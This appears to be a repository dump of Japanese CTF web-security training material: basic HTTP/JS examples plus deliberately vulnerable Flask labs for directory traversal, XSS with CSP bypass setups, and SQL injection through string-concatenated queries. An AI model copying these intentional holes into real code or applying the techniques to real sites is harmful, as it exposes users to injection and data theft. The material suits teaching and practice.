-------------------------------------------------------------------------------- /dist/files/web/02_basics/client/requests-get3.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | 4 | headers = { 'Content-Type': 'application/json' } 5 | data = json.dumps({ 'ctf': 'book' }) 6 | 7 | response = requests.post('http://localhost:5000', data=data) 8 | 9 | if response.status_code == 200: 10 | print('[200 OK]', response.text) 11 | else: 12 | print('[ERROR]', response.status_code) -------------------------------------------------------------------------------- /dist/files/web/02_basics/client/requests-session.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | session = requests.Session() 4 | 5 | url = '...' 6 | login_data = { 7 | 'id': '...', 8 | 'password': '...' 9 | } 10 | 11 | # このPOSTリクエストに対するレスポンスに以下のヘッダーが存在した場合 12 | # Set-Cookie: SESSION=123456... 13 | login_response = session.post(url + '/login', data=login_data) 14 | 15 | # このGETリクエストのヘッダーに以下のCookieヘッダーが自動で付与される 16 | # Cookie: SESSION=123456... 17 | data_response = session.get(url + '/data') -------------------------------------------------------------------------------- /dist/files/web/02_basics/client/xmlhttprequest.js: -------------------------------------------------------------------------------- 1 | // 1. XMLHttpRequestオブジェクトの作成 2 | const xhr = new XMLHttpRequest() 3 | 4 | // 2. URIの指定とGETリクエストの指定 5 | xhr.open('GET', 'http://localhost:5000/test') 6 | 7 | // 3. レスポンスを受け取った際に呼び出される関数(コールバック関数)の設定 8 | xhr.onload = () => { 9 | if (xhr.status === 200) { 10 | console.log("[200 OK]", xhr.responseText) 11 | } else { 12 | console.log("[ERROR]", xhr.statusText) 13 | } 14 | } 15 | 16 | // 4. リクエストの送信 17 | xhr.send() -------------------------------------------------------------------------------- /dist/files/web/02_basics/content/SQL/MySQL/db/init/init.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE IF NOT EXISTS db; 2 | 3 | use db; 4 | 5 | CREATE TABLE IF NOT EXISTS fruits( 6 | id INT NOT NULL AUTO_INCREMENT, 7 | name TEXT, 8 | PRIMARY KEY (id) 9 | ); 10 | 11 | CREATE TABLE IF NOT EXISTS price_fruits( 12 | id INT NOT NULL AUTO_INCREMENT, 13 | fruit_id INT, 14 | price INT, 15 | PRIMARY KEY (id), 16 | FOREIGN KEY (fruit_id) REFERENCES fruits(id) ON DELETE CASCADE 17 | ); 18 | 19 | 20 | INSERT INTO fruits(id, name) VALUES(1, 'mandarin'); 21 | INSERT INTO fruits(id, name) VALUES(2, 'strawberry'); 22 | INSERT INTO fruits(id, name) VALUES(3, 'melon'); 23 | 24 | INSERT INTO price_fruits(id, fruit_id, price) VALUES(1, 1, 100); 25 | INSERT INTO price_fruits(id, fruit_id, price) VALUES(2, 2, 200); 26 | INSERT INTO price_fruits(id, fruit_id, price) VALUES(3, 3, 1000); 27 | 28 | 29 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/content/SQL/MySQL/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.1' 2 | 3 | services: 4 | 5 | db: 6 | image: mysql:5 7 | restart: always 8 | environment: 9 | MYSQL_ROOT_PASSWORD: password 10 | MYSQL_DATABASE: db 11 | MYSQL_USER: user 12 | MYSQL_PASSWORD: password 13 | volumes: 14 | - ./db/init:/docker-entrypoint-initdb.d 15 | 16 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/content/html/index-with-style.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | HTML with Style 5 | 11 | 12 | 13 |

Hello, HTML!

14 |

これは段落を表す要素です。

15 | 16 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/content/html/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | First HTML 5 | 6 | 7 |

Hello, HTML!

8 |

これは段落を表す要素です。

9 | 10 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/content/js/array-object.js: -------------------------------------------------------------------------------- 1 | const array = [100, 200, 300] // 配列の初期化 2 | console.log(array) 3 | // => [100, 200, 300] 4 | 5 | array[1] = 150 // 添字による配列へのアクセス 6 | console.log(array) 7 | // => [100, 150, 300] 8 | 9 | // オブジェクトの初期化 10 | const obj = { 11 | a: 1, 12 | b: 2 13 | } 14 | 15 | obj.c = 3 // ドット(.)によるオブジェクトへのアクセス 16 | obj['d'] = 4 // 角括弧([])によるオブジェクトへのアクセス 17 | console.log(obj) 18 | // => {a: 1, b: 2, c: 3, d: 4} -------------------------------------------------------------------------------- /dist/files/web/02_basics/content/js/dom.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | DOM Programming 5 | 6 | 7 |

Hello, DOM!

8 |

これは段落を表す要素です。

9 |
10 | 11 | 23 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/content/js/function.js: -------------------------------------------------------------------------------- 1 | // functionキーワードによる関数の定義 2 | function add(a, b) { 3 | return a + b 4 | } 5 | 6 | // アロー関数と変数への代入 7 | const sub = (a, b) => { 8 | return a - b 9 | } 10 | 11 | console.log(add(5, 3)) 12 | // => 8 13 | console.log(sub(5, 3)) 14 | // => 2 -------------------------------------------------------------------------------- /dist/files/web/02_basics/content/js/json.js: -------------------------------------------------------------------------------- 1 | const obj = { 2 | a: 1, 3 | b: 2 4 | } 5 | console.log(obj, typeof(obj)) 6 | // => {a: 1, b: 2} object 7 | 8 | const json = JSON.stringify(obj) 9 | console.log(json, typeof(json)) 10 | // => {"a":1,"b":2} string 11 | 12 | const parsed = JSON.parse(json) 13 | console.log(parsed, typeof(parsed)) 14 | // => {a: 1, b: 2} object -------------------------------------------------------------------------------- /dist/files/web/02_basics/content/js/variable.js: -------------------------------------------------------------------------------- 1 | // 変数の宣言と初期値の代入 2 | let name = 'John Doe' 3 | let age = 42 4 | const hobby = 'CTF' 5 | 6 | // 変数の出力 7 | console.log(name, age) // => John Doe 42 8 | console.log('My hobby is ' + hobby) // => My hobby is CTF -------------------------------------------------------------------------------- /dist/files/web/02_basics/request-inspect-app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, render_template, jsonify 2 | 3 | app = Flask(__name__) 4 | 5 | METHODS = ['GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'TRACE'] 6 | 7 | @app.route('/', defaults={'path': ''}, methods=METHODS) 8 | @app.route('/', methods=METHODS) 9 | def index(path): 10 | ''' 11 | リクエストのRequest-URI、メソッド及びヘッダーの内容をレスポンスする。 12 | ''' 13 | 14 | return f''' 15 |

Path: /{path}

16 |

Method: {request.method}

17 |

Request headers

18 |
    19 | {''.join((f'
  • {name}: {value}
  • ' for name, value in request.headers))} 20 |
21 |

Request body

22 |

{ request.get_data().decode() if request.get_data() else 'None.' }

23 | ''' 24 | 25 | 26 | if __name__ == '__main__': 27 | app.run(host='0.0.0.0', port=5000) 28 | -------------------------------------------------------------------------------- /dist/files/web/02_basics/svapp/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from flask import Flask, request, render_template, jsonify 4 | import pymysql.cursors 5 | 6 | app = Flask(__name__) 7 | 8 | # PyMySQLを用いたMySQL接続の設定 9 | db = pymysql.connect( 10 | host=os.getenv('MYSQL_HOST'), 11 | port=os.getenv('MYSQL_PORT'), 12 | user=os.getenv('MYSQL_USER'), 13 | password=os.getenv('MYSQL_PASSWORD'), 14 | charset='utf8mb4', 15 | cursorclass=pymysql.cursors.DictCursor) 16 | cursor = db.cursor() 17 | 18 | def db_init(): 19 | # データベースを初期化する 20 | cursor.execute('CREATE DATABASE IF NOT EXISTS DB') 21 | cursor.execute('USE DB') 22 | cursor.execute('''CREATE TABLE IF NOT EXISTS users ( 23 | id INT NOT NULL AUTO_INCREMENT, 24 | name CHAR(100) NOT NULL, 25 | age INT NOT NULL, 26 | PRIMARY KEY (id) 27 | )''') 28 | db.commit() 29 | 30 | @app.route('/', methods=['GET']) 31 | def index(): 32 | # クエリ文字列 name から値を取得する 33 | # 値が定義されていない場合は CTF をデフォルトの値とする 34 | default_name = 'CTF' 35 | name = request.args.get('name', default_name) 36 | 37 | return render_template('index.html', name=name) 38 | 39 | 40 | @app.route('/api', methods=['GET', 'POST']) 41 | def api(): 42 | if request.method == 'GET': 43 | # データベースからデータを取得する 44 | cursor.execute('SELECT name, age FROM users') 45 | users = cursor.fetchall() 46 | 47 | return jsonify({ 48 | 'users': users 49 | }) 50 | 51 | if request.method == 'POST': 52 | # データベースにデータを追加する 53 | name = request.json['name'] 54 | age = request.json['age'] 55 | cursor.execute('INSERT INTO users (name, age) VALUES (%s, %s)', (name, age)) 56 | db.commit() 57 | 58 | return jsonify({ 59 | 'result': 'success', 60 | 'name': name 61 | }) 62 | 63 | 64 | if __name__ == '__main__': 65 | db_init() 66 | app.run(host='0.0.0.0', port=5000) -------------------------------------------------------------------------------- /dist/files/web/02_basics/svapp/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; # 実行ユーザ名 2 | worker_processes 1; # ワーカープロセス数 3 | error_log /var/log/nginx/error.log warn; # エラーログの出力先パスとエラーレベルの指定 4 | pid /var/run/nginx.pid; # PIDファイルの出力先パス 5 | 6 | events { 7 | worker_connections 1024; # 最大コネクション数 8 | } 9 | 10 | http { 11 | include /etc/nginx/mime.types; # MIMEタイプを定義したファイルのインクルード 12 | default_type application/octet-stream; # デフォルトのMIMEタイプ 13 | # ログのフォーマット 14 | log_format main '$remote_addr - $remote_user [$time_local] "$request" ' 15 | '$status $body_bytes_sent "$http_referer" ' 16 | '"$http_user_agent" "$http_x_forwarded_for"'; 17 | 18 | # アクセスログの出力先パスとフォーマットの指定 19 | access_log /var/log/nginx/access.log main; 20 | 21 | server { 22 | listen 192.168.0.1:80; # ListenするIPアドレスとポート番号 23 | 24 | location / { 25 | root /var/www/html; # ドキュメントルートのパス 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /dist/files/web/02_basics/svapp/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==1.1.2 2 | PyMySQL==0.10.1 -------------------------------------------------------------------------------- /dist/files/web/02_basics/svapp/templates/index.html: -------------------------------------------------------------------------------- 1 |

Hello, {{ name }}

-------------------------------------------------------------------------------- /dist/files/web/03_DirTrav/dirtrav-app/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN useradd -s /usr/sbin/nologin ctf &&\ 5 | pip3 install -r /opt/app/requirements.txt 6 | 7 | USER ctf 8 | 9 | CMD ["python", "/opt/app/app.py"] 10 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/03_DirTrav/dirtrav-app/app/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | Flask, 5 | request, 6 | redirect, 7 | render_template, 8 | ) 9 | import binascii 10 | import os 11 | 12 | # それぞれのメモはtextファイルとして保存される 13 | # ファイル名のフォーマットは以下の通り 14 | # hexlify(title) + ".txt" 15 | 16 | app = Flask(__name__) 17 | MEMO_DIR = "/tmp/files/" 18 | 19 | @app.route("/", methods=["GET"]) 20 | def route_index(): 21 | files = [f for f in os.listdir(MEMO_DIR) if os.path.isfile(os.path.join(MEMO_DIR, f))] 22 | memos = [ 23 | { 24 | "title":binascii.unhexlify(f.split(".")[0]).decode(), # remove extention(.txt) 25 | "key": f 26 | } 27 | for f in files 28 | ] 29 | 30 | return render_template("index.html", memos=memos) 31 | 32 | 33 | @app.route("/add", methods=["GET"]) 34 | def route_add_index(): 35 | return render_template("add.html") 36 | 37 | 38 | @app.route("/add", methods=["POST"]) 39 | def route_add_do(): 40 | title = request.form.get("title") 41 | body = request.form.get("body") 42 | 43 | if title == None or title == "": 44 | return "title must be specified" 45 | 46 | filename = binascii.hexlify(title.encode()).decode() + ".txt" 47 | open(os.path.join(MEMO_DIR, filename), "w+").write(body) 48 | 49 | return redirect("/") 50 | 51 | 52 | @app.route("/memo", methods=["GET"]) 53 | def route_memo(): 54 | key = request.args.get("key") 55 | filepath = MEMO_DIR + key 56 | 57 | if os.path.exists(filepath) == False: 58 | return "file not found" 59 | if os.path.isfile(filepath) == False: 60 | return "not a file" 61 | 62 | try: 63 | memo_title = binascii.unhexlify(key.split(".")[0]).decode() # remove file extension 64 | except: 65 | memo_title = "" 66 | memo_body = open(filepath, "r").read() 67 | 68 | return render_template("memo.html", title=memo_title, body=memo_body) 69 | 70 | 71 | def init(): 72 | app.config["FLAG"] = os.environ.get("FLAG") 73 | if os.path.exists(MEMO_DIR) == False: 74 | os.mkdir(MEMO_DIR) 75 | 76 | 77 | init() 78 | app.run(host="0.0.0.0", debug=False) 79 | -------------------------------------------------------------------------------- /dist/files/web/03_DirTrav/dirtrav-app/app/app/requirements.txt: -------------------------------------------------------------------------------- 1 | click==8.1.2 2 | Flask==2.1.1 3 | importlib-metadata==4.11.3 4 | itsdangerous==2.1.2 5 | Jinja2==3.1.1 6 | MarkupSafe==2.1.1 7 | Werkzeug==2.1.1 8 | zipp==3.8.0 9 | -------------------------------------------------------------------------------- /dist/files/web/03_DirTrav/dirtrav-app/app/app/templates/add.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |

Add a memo

9 |
10 |
11 |
12 | 13 | 14 |
15 |
16 |
17 |
18 | 19 | 20 |
21 |
22 |
23 | 24 |
25 |
26 | 27 | 28 | -------------------------------------------------------------------------------- /dist/files/web/03_DirTrav/dirtrav-app/app/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Memo

10 |
11 | Add a memo 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | {% for i in memos %} 22 | 23 | 24 | 25 | {% endfor %} 26 | 27 |
Title
{{i.title}}
28 |
29 | 30 | 31 | -------------------------------------------------------------------------------- /dist/files/web/03_DirTrav/dirtrav-app/app/app/templates/memo.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

{{title}}

10 |
11 |
12 |

13 | {{body}} 14 |

15 |
16 |
17 | Back to Top 18 |
19 |
20 | 21 | 22 | -------------------------------------------------------------------------------- /dist/files/web/03_DirTrav/dirtrav-app/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | 5 | app: 6 | build: ./app 7 | restart: always 8 | networks: 9 | - app 10 | ports: 11 | - 5000:5000 12 | environment: 13 | - FLAG=flag{traversal_and_environ} 14 | 15 | networks: 16 | app: 17 | 18 | -------------------------------------------------------------------------------- /dist/files/web/04_XSS/column-vue.html: -------------------------------------------------------------------------------- 1 |
2 |

Count: {{ count }}

3 | 4 |
5 | 6 | 7 | -------------------------------------------------------------------------------- /dist/files/web/04_XSS/csp-baseuri/app/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, Response 2 | import base64 3 | import random 4 | 5 | app = Flask(__name__) 6 | 7 | def get_nonce(): 8 | return f'{base64.b64encode(str(random.random()).encode()).decode()}' 9 | 10 | @app.route('/') 11 | def index(): 12 | name = request.args.get('name', 'unknown') 13 | 14 | nonce = get_nonce() 15 | 16 | res = Response(f''' 17 | 18 |

Hello, {name}!

19 | ''') 20 | 21 | res.headers['Content-Security-Policy'] = f'script-src \'nonce-{nonce}\'' 22 | 23 | return res 24 | 25 | app.run(host='0.0.0.0', port=5000) -------------------------------------------------------------------------------- /dist/files/web/04_XSS/csp-baseuri/app/static/index.js: -------------------------------------------------------------------------------- 1 | console.log('Hello, JavaScript!') -------------------------------------------------------------------------------- /dist/files/web/04_XSS/csp-baseuri/attacker/static/index.js: -------------------------------------------------------------------------------- 1 | alert(1) -------------------------------------------------------------------------------- /dist/files/web/04_XSS/csp-strict-dynamic/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, Response 2 | import base64 3 | import random 4 | 5 | app = Flask(__name__) 6 | 7 | def get_nonce(): 8 | return f'{base64.b64encode(str(random.random()).encode()).decode()}' 9 | 10 | @app.route('/') 11 | def index(): 12 | name = request.args.get('name', 'unknown') 13 | title = request.args.get('title', 'unknown') 14 | 15 | nonce = get_nonce() 16 | 17 | res = Response(f''' 18 | 24 |

{title}

25 |

Hello,

26 | ''') 27 | 28 | res.headers['Content-Security-Policy'] = f'default-src \'none\'; script-src \'strict-dynamic\' \'nonce-{nonce}\'' 29 | 30 | return res 31 | 32 | app.run(host='0.0.0.0', port=5000) -------------------------------------------------------------------------------- /dist/files/web/04_XSS/csp-strict-dynamic/poc.html: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 |

Paragraph

-------------------------------------------------------------------------------- /dist/files/web/04_XSS/patterns.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | 3 | app = Flask(__name__) 4 | 5 | @app.route('/simple') 6 | def simple(): 7 | name = request.args.get('name', 'unknown') 8 | return f'

Hello, {name}!

' 9 | 10 | @app.route('/attribute_without_quote') 11 | def attribute_without_quote(): 12 | name = request.args.get('name', 'unknown') 13 | return f'Name: ' 14 | 15 | @app.route('/attribute_with_quote') 16 | def attribute_with_quote(): 17 | name = request.args.get('name', 'unknown') 18 | return f'Name: ' 19 | 20 | @app.route('/dom_based') 21 | def dom_based(): 22 | return ''' 23 |

24 | 25 | 29 | ''' 30 | 31 | app.run(host='0.0.0.0', port=5000) -------------------------------------------------------------------------------- /dist/files/web/04_XSS/xss-dombased.html: -------------------------------------------------------------------------------- 1 |

2 | -------------------------------------------------------------------------------- /dist/files/web/04_XSS/xss-example.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | 3 | app = Flask(__name__) 4 | 5 | @app.route('/') 6 | def index(): 7 | name = request.args.get('name', 'unknown') 8 | return f'

Hello, {name}!

' 9 | 10 | app.run(host='0.0.0.0', port=5000) -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/db/init/init.sql: -------------------------------------------------------------------------------- 1 | 2 | create database if not exists db; 3 | 4 | use db; 5 | 6 | 7 | create table if not exists kv( 8 | id int not null auto_increment, 9 | k char(255) unique, 10 | v text, 11 | primary key (id) 12 | ); 13 | 14 | 15 | create table if not exists secrets( 16 | id int not null auto_increment, 17 | data text, 18 | primary key(id) 19 | ); 20 | 21 | insert into secrets(data) values('flag{can_you_get_me?}'); 22 | insert into kv(k, v) values('key1', 'value1'); 23 | 24 | 25 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | 5 | db: 6 | image: mysql:8.0 7 | restart: always 8 | environment: 9 | MYSQL_ROOT_PASSWORD: password 10 | MYSQL_DATABASE: db 11 | MYSQL_USER: user 12 | MYSQL_PASSWORD: password 13 | volumes: 14 | - ./db/init:/docker-entrypoint-initdb.d 15 | networks: 16 | - app 17 | 18 | web1: 19 | build: ./web1 20 | restart: always 21 | networks: 22 | - app 23 | depends_on: 24 | - db 25 | ports: 26 | - 5000:5000 27 | 28 | web2: 29 | build: ./web2 30 | restart: always 31 | networks: 32 | - app 33 | depends_on: 34 | - db 35 | ports: 36 | - 5001:5000 37 | 38 | web3: 39 | build: ./web3 40 | restart: always 41 | networks: 42 | - app 43 | depends_on: 44 | - db 45 | ports: 46 | - 5002:5000 47 | 48 | web4: 49 | build: ./web4 50 | restart: always 51 | networks: 52 | - app 53 | depends_on: 54 | - db 55 | ports: 56 | - 5003:5000 57 | 58 | web5: 59 | build: ./web5 60 | restart: always 61 | networks: 62 | - app 63 | depends_on: 64 | - db 65 | ports: 66 | - 5004:5000 67 | 68 | 69 | networks: 70 | app: 71 | 72 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN apt-get update -y&&\ 5 | apt-get install -y default-mysql-client &&\ 6 | useradd -s /usr/sbin/nologin ctf &&\ 7 | pip install -r /opt/app/requirements.txt 8 | 9 | USER ctf 10 | 11 | CMD ["python", "/opt/app/app.py"] 12 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web1/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | jsonify, 5 | Flask, 6 | request, 7 | redirect, 8 | render_template 9 | ) 10 | 11 | import json 12 | import pymysql 13 | 14 | 15 | app = Flask(__name__) 16 | 17 | app.config["MYSQL_DATABASE_HOST"] = "db" 18 | app.config["MYSQL_DATABASE_DB"] = "db" 19 | app.config["MYSQL_DATABASE_USER"] = "user" 20 | app.config["MYSQL_DATABASE_PASSWORD"] = "password" 21 | 22 | # we have two tables in database: 23 | # kv(id, k, v) and secrets(id, data) 24 | 25 | _db = pymysql.connect( 26 | host="db", 27 | db="db", 28 | user="user", 29 | password="password" 30 | ) 31 | 32 | 33 | def get_db(): 34 | _db.ping(reconnect=True) 35 | return _db 36 | 37 | 38 | @app.route("/", methods=["GET"]) 39 | def route_index(): 40 | 41 | db = get_db() 42 | 43 | sql = "select k,v from kv;" 44 | 45 | try: 46 | cur = db.cursor() 47 | cur.execute(sql) 48 | except Exception as e: 49 | return "Error", 500 50 | 51 | data = cur.fetchall() 52 | cur.close() 53 | 54 | return render_template("index.html", data=data, ndata=len(data)) 55 | 56 | 57 | @app.route("/search", methods=["GET"]) 58 | def route_search_index(): 59 | 60 | key = request.args.get("key") 61 | if key == None: 62 | key = "" 63 | 64 | sql = "select k,v from kv where k like '%" + key + "%';" 65 | 66 | db = get_db() 67 | try: 68 | cur = db.cursor() 69 | cur.execute(sql) 70 | 71 | except Exception as e: 72 | cur.close() 73 | return "Error", 500 74 | 75 | data = cur.fetchall() 76 | cur.close() 77 | 78 | return render_template("index.html", data=data, ndata=len(data)) 79 | 80 | 81 | @app.route("/add", methods=["GET"]) 82 | def route_add_index(): 83 | return render_template("add.html", msg=None) 84 | 85 | 86 | @app.route("/add", methods=["POST"]) 87 | def route_add_do(): 88 | 89 | res = {} 90 | key = request.form.get("key") 91 | value = request.form.get("value") 92 | 93 | if key == None or value == None or key == "" or value == "": 94 | msg = "both key and value cannot be null" 95 | return render_template("add.html", msg=msg) 96 | 97 | sql = "insert into kv (k, v) values(%s, %s);" 98 | 99 | db = get_db() 100 | try: 101 | cur = db.cursor() 102 | cur.execute(sql, (key, value)) 103 | 104 | except pymysql.err.IntegrityError as e: 105 | cur.close() 106 | msg="key is already used" 107 | return render_template("add.html", msg=msg) 108 | 109 | except Exception as e: 110 | cur.close() 111 | return "Error", 500 112 | 113 | db.commit() 114 | cur.close() 115 | 116 | return redirect("/") 117 | 118 | app.run(host="0.0.0.0", debug=True) 119 | 120 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web1/app/requirements.txt: -------------------------------------------------------------------------------- 1 | cffi==1.15.0 2 | click==8.1.2 3 | cryptography==36.0.2 4 | Flask==2.1.1 5 | importlib-metadata==4.11.3 6 | itsdangerous==2.1.2 7 | Jinja2==3.1.1 8 | MarkupSafe==2.1.1 9 | pycparser==2.21 10 | pymysql[rsa]==1.0.2 11 | Werkzeug==2.1.1 12 | zipp==3.8.0 13 | 14 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web1/app/templates/add.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Key-Value Store

10 |
11 | add kev-value pair 12 | 13 | {% if msg %} 14 |
15 |

16 | {{msg}} 17 |

18 |
19 | {% endif %} 20 | 21 |
22 |
23 |
24 |
25 | 26 | 27 |
28 |
29 | 30 | 31 |
32 | 33 |
34 | 35 |
36 | 37 |
38 |
39 | 40 |
41 | 42 | 43 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web1/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Key-Value Store

10 |
11 |
12 | add kev-value pair 13 |
14 |
15 | 16 |
17 |
18 | 19 | 20 |
21 |
22 | 23 |
24 | 25 | 26 |
27 | 28 |
29 |

Number of results: {{ndata}}

30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | {% for i in data %} 39 | 40 | 41 | 42 | 43 | {% endfor %} 44 | 45 |
KeyValue
{{i.0}}{{i.1}}
46 |
47 | 48 | 49 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | ADD ./app /opt/app 4 | RUN apt-get update -y&&\ 5 | apt-get install -y default-mysql-client &&\ 6 | useradd -s /usr/sbin/nologin ctf &&\ 7 | pip install -r /opt/app/requirements.txt 8 | 9 | USER ctf 10 | 11 | CMD ["python", "/opt/app/app.py"] 12 | EXPOSE 5000 -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web2/app/app.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | 3 | from flask import ( 4 | jsonify, 5 | Flask, 6 | request, 7 | redirect, 8 | render_template 9 | ) 10 | 11 | import json 12 | import pymysql 13 | 14 | 15 | app = Flask(__name__) 16 | 17 | app.config["MYSQL_DATABASE_HOST"] = "db" 18 | app.config["MYSQL_DATABASE_DB"] = "db" 19 | app.config["MYSQL_DATABASE_USER"] = "user" 20 | app.config["MYSQL_DATABASE_PASSWORD"] = "password" 21 | 22 | # we have two tables in database: 23 | # kv(id, k, v) and secrets(id, data) 24 | 25 | _db = pymysql.connect( 26 | host="db", 27 | db="db", 28 | user="user", 29 | password="password" 30 | ) 31 | 32 | 33 | def get_db(): 34 | _db.ping(reconnect=True) 35 | return _db 36 | 37 | 38 | @app.route("/", methods=["GET"]) 39 | def route_index(): 40 | 41 | db = get_db() 42 | 43 | sql = "select k,v from kv;" 44 | 45 | try: 46 | cur = db.cursor() 47 | cur.execute(sql) 48 | except Exception as e: 49 | return "Error", 500 50 | 51 | data = cur.fetchall() 52 | cur.close() 53 | 54 | return render_template("index.html", data=data, ndata=len(data)) 55 | 56 | 57 | @app.route("/search", methods=["GET"]) 58 | def route_search_index(): 59 | 60 | key = request.args.get("key") 61 | 62 | sql = "select k,v from kv where k like %s;" 63 | 64 | db = get_db() 65 | try: 66 | cur = db.cursor() 67 | cur.execute(sql, ('%{}%'.format(key))) 68 | 69 | except Exception as e: 70 | cur.close() 71 | return "Error", 500 72 | 73 | data = cur.fetchall() 74 | cur.close() 75 | 76 | return render_template("index.html", data=data, ndata=len(data)) 77 | 78 | 79 | @app.route("/add", methods=["GET"]) 80 | def route_add_index(): 81 | return render_template("add.html", msg=None) 82 | 83 | 84 | @app.route("/add", methods=["POST"]) 85 | def route_add_do(): 86 | 87 | res = {} 88 | key = request.form.get("key") 89 | value = request.form.get("value") 90 | 91 | if key == None or value == None or key == "" or value == "": 92 | msg = "both key and value cannot be null" 93 | return render_template("add.html", msg=msg) 94 | 95 | sql = "insert into kv (k, v) values(%s, %s);" 96 | 97 | 98 | db = get_db() 99 | try: 100 | cur = db.cursor() 101 | cur.execute(sql, (key, value)) 102 | 103 | 104 | except pymysql.err.IntegrityError as e: 105 | cur.close() 106 | msg="key is already used" 107 | return render_template("add.html", msg=msg) 108 | 109 | except Exception as e: 110 | cur.close() 111 | return "Error", 500 112 | 113 | db.commit() 114 | cur.close() 115 | 116 | return redirect("/") 117 | 118 | 119 | @app.route("/keyCheck", methods=["GET"]) 120 | def route_keycheck_index(): 121 | 122 | key = request.args.get("key") 123 | sql = "select k from kv where k = '" + key + "';" 124 | 125 | db = get_db() 126 | try: 127 | cur = db.cursor() 128 | cur.execute(sql) 129 | 130 | except Exception as e: 131 | cur.close() 132 | return str(e), 500 133 | 134 | data = cur.fetchall() 135 | 136 | if len(data) == 0: 137 | return "not used" 138 | 139 | return "used" 140 | 141 | 142 | app.run(host="0.0.0.0", debug=False) 143 | 144 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web2/app/requirements.txt: -------------------------------------------------------------------------------- 1 | cffi==1.15.0 2 | click==8.1.2 3 | cryptography==36.0.2 4 | Flask==2.1.1 5 | importlib-metadata==4.11.3 6 | itsdangerous==2.1.2 7 | Jinja2==3.1.1 8 | MarkupSafe==2.1.1 9 | pycparser==2.21 10 | pymysql[rsa]==1.0.2 11 | Werkzeug==2.1.1 12 | zipp==3.8.0 13 | 14 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web2/app/templates/add.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 |
10 |

Key-Value Store

11 |
12 | add kev-value pair 13 | 14 |
15 |

16 |

17 | 18 |
19 |
20 |
21 |
22 | 23 | 24 | 25 |
26 |
27 | 28 | 29 |
30 | 31 |
32 | 33 |
34 | 35 |
36 |
37 | 38 |
39 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /dist/files/web/05_SQLi/SQLi-app/web2/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

Key-Value Store

10 |
11 |
12 | add kev-value pair 13 |
14 |
15 | 16 |
17 |
18 | 19 | 20 |
21 |
22 | 23 |
24 | 25 | 26 |
27 | 28 |
29 |

Number of results: {{ndata}}

30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | {% for i in data %} 39 | 40 | 41 | 42 | 43 | {% endfor %} 44 | 45 |
KeyValue
{{i.0}}{{i.1}}
46 |
